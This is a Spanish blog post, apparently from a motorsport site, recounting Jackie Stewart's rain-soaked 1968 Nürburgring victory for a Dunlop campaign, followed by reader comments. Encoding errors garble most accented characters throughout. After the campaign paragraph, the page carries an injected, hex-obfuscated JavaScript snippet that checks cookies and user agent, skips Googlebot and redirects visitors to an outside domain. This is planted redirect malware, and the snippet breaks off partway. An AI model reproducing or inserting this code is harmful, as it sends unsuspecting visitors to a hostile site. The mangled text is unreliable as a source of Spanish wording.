Bailando bajo la lluvia

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Nurburgring, Germany. 2nd - 4th August 1968. RD8.
Jackie Stewart (Matra MS10-Ford), 1st position, action.
World Copyright: LAT Photographic.
Ref: B/W Print.
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Nurburgring, Germany. 2nd - 4th August 1968. RD8. Jackie Stewart (Matra MS10-Ford), 1st position, action. World Copyright: LAT Photographic. Ref: B/W Print.

Aunque con el tiempo llegarAi??a a ganar 27Ai??Grandes Premios, Jackie StewartAi??reconoce que su cuarto triunfo, elAi??del GP de NA?rburgring de 1968, sigue siendo al dAi??a de hoy, el mejor de todos.

El escocAi??s, unAi??estandarte de la lucha por la seguridad, con su muAi??eca derecha rota e inmovilizada dentro de una fAi??rula de plA?stico, no estaba dispuesto a aventurarse a dar una vuelta al “Infierno Verde”Ai??envuelto en niebla e inundado por la lluvia. No veAi??a ninguna razA?n para arriesgar su auto y su integridad fAi??sica a pocas horas de celebrarse la carrera, y esperaba que su jefe de equipo estuviera de acuerdo con Ai??l. Sin embargo, el bueno del ai???TAi??o Kenai??? Tyrrell no querAi??a oAi??r nada al respecto.

Jackie Stewart describeAi??a este perAi??odo de su carrera como ai???un coheteai???: emocionante, pero peligroso y un poco incontrolable. El accidente fatal de Jim Clark en abril se habAi??a llevado el entusiasmo y la magia, y el que posteriormente sufriA? Stewart (tambiAi??n con un FA?rmula 2) en el circuito de Jarama ese mismo mes, reafirmaba una vez mA?s que Ai??l podrAi??a haber corrido la misma suerte.

En mayo, la muerte de Mike Spence, su ex compaAi??ero en el equipo BRM, en IndianA?polis, supuso otro aliciente para repensar la vida que estaba llevando. HabiAi??ndose perdido los Grandes Premios de EspaAi??a y MA?naco, un convaleciente Stewart volvAi??a a la batalla de la FA?rmula 1 en Spa, escenario de su accidente bajo un diluvio bAi??blico dos aAi??os atrA?s. No lograba la victoria desde entonces y, en esta ocasiA?n, su Matra MS10-Ford se quedaba corto de combustible y caAi??a hasta la cuarta posiciA?n en la A?ltima vuelta.

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La frustraciA?n le durA? solo quince dAi??as. A pesar de perderse la sesiA?n de prA?cticas del sA?bado en Zandvoort pasada por agua, para que su brazo hinchado pudiera recuperarse, Stewart se aseguraba una excelente victoria sobre lluvia con el compuesto de Dunlop, con una banda de rodadura que se beneficiaba de su amplio canal de drenaje central, tallado a mano.

En plena guerra de neumA?ticos, el A?ltimo compuesto de Firestone ganA? la siguiente batalla sobre mojado en el circuito francAi??s de Rouen, carrera marcada por la muerte del piloto de Honda Jo Schlesser, envuelto en una bola de fuego originado en sus tanques de magnesio, y en la que Stewart fue el mejor posicionado de los equipados con Dunlop (tercero, a una vuelta).

Un auto equipado con Firestone volviA? a ganar en Brands Hatch, donde un exhausto Stewart tuvo que ser retirado con ayuda del cockpit, despuAi??s de terminar sexto. El esfuerzo fAi??sico adicional sufrido por su muAi??eca por causa de una pista seca y llena de baches, ponAi??a en duda su participaciA?n en el GP de Alemania. Por si acaso, su potencial sustituto Johnny Servoz-Gavin se pasA? varias jornadas a los mandos de un Matra 530, aprendiAi??ndose los 22 kilA?metros de NA?rburgring.

Stewart volA? a tierras germanasAi??en el Piper Aztec de Graham Hill el jueves y, como de costumbre, visitA? a un mAi??dico local para que cortara su yeso, cubriera su antebrazo de vaselina y le pusiera una fAi??rula de plA?stico.

El viernes y el sA?bado fueron dedicados sobre todo a resguardarse de la lluvia. Las condiciones eran tan malas que se organizaron tres horas de prA?ctica adicionales para el domingo por la maAi??ana, donde todavAi??a lloviA? un poco mA?s.

Stewart reconoce hoy que la decisiA?n de Tyrrell de mandarlo a pista fue totalmente acertada. La confianza ganada al establecer el tiempo mA?s rA?pido de la sesiA?n (por 22 segundos de diferencia) y buscar los lAi??mites para grabarlos en su fotogrA?fica memoria le hizo sentirse mA?s fuerte mentalmente.

Mientras tanto, su bA?lido, a pesar de una direcciA?n imprecisa, contaba con un alerA?n de menor tamaAi??o y ubicado en una posiciA?n mA?s avanzada, que resultaba un acierto para la pista y las condiciones climA?ticas. Cuando se quitA? su Rolex y se lo dio a Tyrrell, un ritual previo a la carrera nacido de la seguridad y perfeccionado para darle un punto de marketing, Ken le dijo: ai???Hoy, estA? claro que no te pagan lo suficienteai???.

Programada para las 14.00 hs, la carrera comenzA? con cincuenta minutos de retraso, y A?nicamente porque la decisiA?n de Cooper de calentar motores provocA? una reacciA?n Pavloviana en la parrilla de salida.

IrA?nicamente, un nuevo e innecesario retraso causA? el exceso de temperatura de algunos motores. Stewart, cuyo tiempo de la maAi??ana le permitiA? colocarse sexto en la parrilla, se disparA? hacia el muro de hormigA?n para bordear el vacilante Ferrari del dueAi??o de la pole, Jacky Ickx y llegar a la primera curva detrA?s del Lotus de Hill y del compaAi??ero de equipo de Ickx, Chris Amon.

Sin la visibilidad que le permitiera identificar a su prA?ximo objetivo, Stewart se consolaba con la idea de que cualquier bloqueada de frenos de quienes lo precedAi??an le servirAi??a para hacerse un hueco y avanzar bajo la incesante lluvia. Buscando y esforzA?ndose por encontrar algA?n resquicio visual, vio a la Ferrari que lo precedAi??a perdiendo el control y se lanzA? por la segunda posiciA?n cerca del Puente Adenau.

Hill fue alcanzado de forma similar justo antes de que llegara la larga y ondulante recta principal. Al final de la misma, Stewart ya iba 10 segundos por delante. En la segunda pasada en punta aumentA? la distancia a 24 segundos.

NegA?ndose a abandonar su ritmo y para aumentar la ventaja obtenida gracias a los surcos de sus neumA?ticos, estableciA? la vuelta rA?pida justo antes de perder el control en la vuelta 10 (de 14). DespuAi??s de aquello, Stewart se convenciA? a sAi?? mismo de que tenAi??a que ser mA?s precavido.

Su margen de ventaja fue finalmente superior a los 4 minutos, pero el sentimiento inicial al acabar la carrera fue mA?s de alivio por terminarla que de alegrAi??a por haberla ganado, especialmente cuando se confirmA? que el resto de los pilotos estaban a salvo.

Stewart afirma que esta fue la actuaciA?n mA?s destacada de su carrera. Insiste, sin embargo, que tambiAi??n fue un triunfo de Ken, del trabajo duro de sus mecA?nicos, asAi?? como de los neumA?ticos del proveedor britA?nico.

Stewart Rolex

Este relato de la hazaAi??a de Jackie StewartAi??fue escritoAi??porAi??Paul FearnleyAi??y hace parte de la campaAi??a “Great Fightbacks” desarrollada por la marca de neumA?ticos Dunlop, en la que se relatan diez grandes momentos en la historia del automovilismo, protagonizadas obviamente por autos calzados con neumA?ticos de esta marca.

Los interesados tienen la oportunidad de votar su historia favorita enAi??www.greatfightbacks.comAi??desde el 21 de enero de 2016 hasta el 29 de febrero. Durante las prA?ximas semanas, Dunlop irA? desvelando las diez historias por orden cronolA?gico.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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5 Comentarios, RSS

  1. Beppe Viola 29/01/2016 @ 3:45 pm

    Esta es una de las cuatro “Hazañas de Nurburgring” que conozco…..
    histórica muestra de la diferencia que puede hacer un verdadero Campeón

    • Daniel Fernández 05/06/2016 @ 3:15 pm

      Beppe, está la de Fangio 1957, la de los Torino 1969… y la otra, cuál es?. La de Lole en el 75´?
      Saludos.

      • Beppe Viola 05/06/2016 @ 4:15 pm

        Las 4 hazañas en Nurburgring son :
        1) Nuvolari con el Alfa P3 en el ’35,
        2) Fangio y su Maserati 250F en el ’57,
        3) esta de Sir Stewart del ’68,
        4) Stefan Bellof con Porsche 956 en el ’83…
        todas de igual importancia……
        nada mas…
        nada menos….

  2. morgan. 01/02/2016 @ 3:17 pm

    que tipo que me cae bien Jackie………hasta me animaría a decir que le sacó punta a la ch… mas que Hunt……ademas de que manejando era un crack.

    • Daniel Fernández 05/06/2016 @ 8:13 pm

      Gracias Beppe, buenísimo lo tuyo. (Por lo menos la pegué con Fangio en el 57).

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